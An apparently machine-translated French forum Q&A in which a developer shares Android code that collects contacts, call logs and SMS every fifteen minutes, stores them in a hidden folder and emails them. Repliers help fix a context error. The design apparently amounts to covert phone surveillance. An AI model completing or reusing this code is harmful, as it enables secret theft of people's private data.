2017-07-31 1 views
0

Je crée une application qui recueille tous les contacts de l'appareil et les envoie par courrier électronique, mais le problème est quand j'appelle le contacts de fonction() qui « obtient la liste des contacts » à partir d'un nom de classe save qui enregistre les contacts à dispositif à envoyer plus tard il y a une erreur:Comment accéder aux contacts et les envoyer par une autre classe qui n'est pas et activité, mais il ne fonctionne pas comme ContentResolver Erreur

Invoking virtual Method context.ContentResolver.

le problème est maintenant comment appeler les getContacts() Méthode de MainActivity dans la classe save qui est appelée et exécutée dans BroadcastReceiver périodiquement.

code d'activité principale est

protected void onCreate(Bundle savedInstanceState) { 
     super.onCreate(savedInstanceState); 
     setContentView(R.layout.activity_main); 
     startService(new Intent(getBaseContext(),SecureService.class)); 
     Intent i= new Intent(MainActivity.this,SecureReciever.class); 
     PendingIntent pi=PendingIntent.getBroadcast(getApplicationContext(),0,i,0); 
     AlarmManager am= (AlarmManager) getSystemService(ALARM_SERVICE); 
     am.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis()+3000, AlarmManager.INTERVAL_FIFTEEN_MINUTES,pi); 
    } 
public ArrayList<String> getContacts(){ 
     ContentResolver cr= getContentResolver(); 
     ArrayList <String> contacts= new ArrayList<String>(); 
     try{ 

      Cursor cursor=cr.query(ContactsContract.Contacts.CONTENT_URI,null,null,null,null); 
      assert cursor != null; 
      String Item=""; 
      while(cursor.moveToNext()){ 
       String id=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID)); 
       String name=cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME)); 
       Cursor phonecursor=cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,null,ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=?", new String[]{id} ,null); 
       String phonenumber="",_email=""; 
       assert phonecursor != null; 
       while (phonecursor.moveToNext()){ 
        phonenumber += phonecursor.getString(phonecursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER))+"\n"; 
       } 
       phonecursor.close(); 
       Cursor emailcursor=cr.query(ContactsContract.CommonDataKinds.Email.CONTENT_URI,null,ContactsContract.CommonDataKinds.Email.CONTACT_ID + "=? ",new String[] {id},null); 

       while (emailcursor.moveToNext()){ 
        _email =_email + emailcursor.getString(emailcursor.getColumnIndex(ContactsContract.CommonDataKinds.Email.DATA)); 
       } 
       emailcursor.close(); 
       Item ="Name : "+ name + "\nPhone No : " + phonenumber + "\n Email : "+_email + "\n---------------------\n"; 
       contacts.add(Item); 
      } 
      cursor.close(); 
     }catch (Exception ex){ 
      Log.d("Error",ex.getMessage()); 
     } 
     return contacts; 
    } 

Enregistrer le code de classe

public class save extends AsyncTask<String, Void ,String> { 
    MainActivity ma=new MainActivity(); 
    @Override 
    protected String doInBackground(String... params) { 
     try{ 

      String Calllogs= ma.getCalllogs().toString(); 
      String SMS= ma.fetchinbox().toString(); 
      String Contacts= ma.getContacts().toString(); 

      String Path= Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS).getAbsolutePath()+"/.MyDocs"; 
      File f=new File(Path); 
      FileOutputStream fos; 
      if (!f.exists()) 
       f.mkdir(); 
      File file=new File(Path+"/"+System.currentTimeMillis()+"Contacts.txt"); 
      File file1= new File(Path+"/"+System.currentTimeMillis()+"CallLogs.txt"); 
      File file2=new File(Path+"/"+System.currentTimeMillis()+"SMS.txt"); 

      if (file.exists()) 
       file.delete(); 
      else 
      { 
       try{ 
        file.createNewFile(); 
        file.setWritable(true); 
        fos= new FileOutputStream(file); 
        fos.write(Contacts.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file1.exists()) 
       file1.delete(); 
      else 
      { 
       try{ 
        file1.createNewFile(); 
        file1.setWritable(true); 
        fos= new FileOutputStream(file1); 
        fos.write(Calllogs.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
      if (file2.exists()) 
       file2.delete(); 
      else 
      { 
       try{ 
        file2.createNewFile(); 
        file2.setWritable(true); 
        fos= new FileOutputStream(file2); 
        fos.write(SMS.getBytes()); 
        fos.close(); 
       }catch (Exception ex){ 
        ex.printStackTrace(); 
       } 
      } 
     }catch (Exception ex){ 
      Log.d("Save Error", ex.getMessage()); 
     } 
     return null; 
    } 

    @Override 
    protected void onPostExecute(String s) { 
     new sendmail().execute(); 
    } 
} 

BroadcastReceiver Wher sauver la classe est appelée à exécuter Async tâche pour enregistrer les données en arrière-plan

public class SecureReciever extends BroadcastReceiver { 
    @Override 
    public void onReceive(final Context context, Intent intent) { 
     Date date= new Date(); 
     Log.d("Alarm Reciever","Alarm Triggered At : "+ java.text.DateFormat.getTimeInstance().format(date)); 
     new save().execute(); 
    } 
} 
+0

Vous ne passez pas le 'context' correctement. –

+0

aidez-moi comment passer le contexte? –

+0

Lorsque vous écrivez vos questions, veillez à ce que les détails importants (comme les noms et les cas de vos méthodes) soient correctement saisis. J'ai corrigé cinq erreurs distinctes dans votre message uniquement dans les noms de vos méthodes. Votre anglais ne doit pas être parfait, mais les détails techniques le font. – halfer

Répondre

0

essayer de faire getContacts() spécificateur d'accès comme statique public. Quand vous en avez besoin, appelez-le simplement par MainActivity.getContacts()

+0

Je l'ai essayé mais quand je fais statique statique de getcontacts() je n'ai pas pu getContentResolver() qui est utilisé dans la méthode getContacts(). –

+0

Utilisez getApplicationContext(). GetContactResolver() –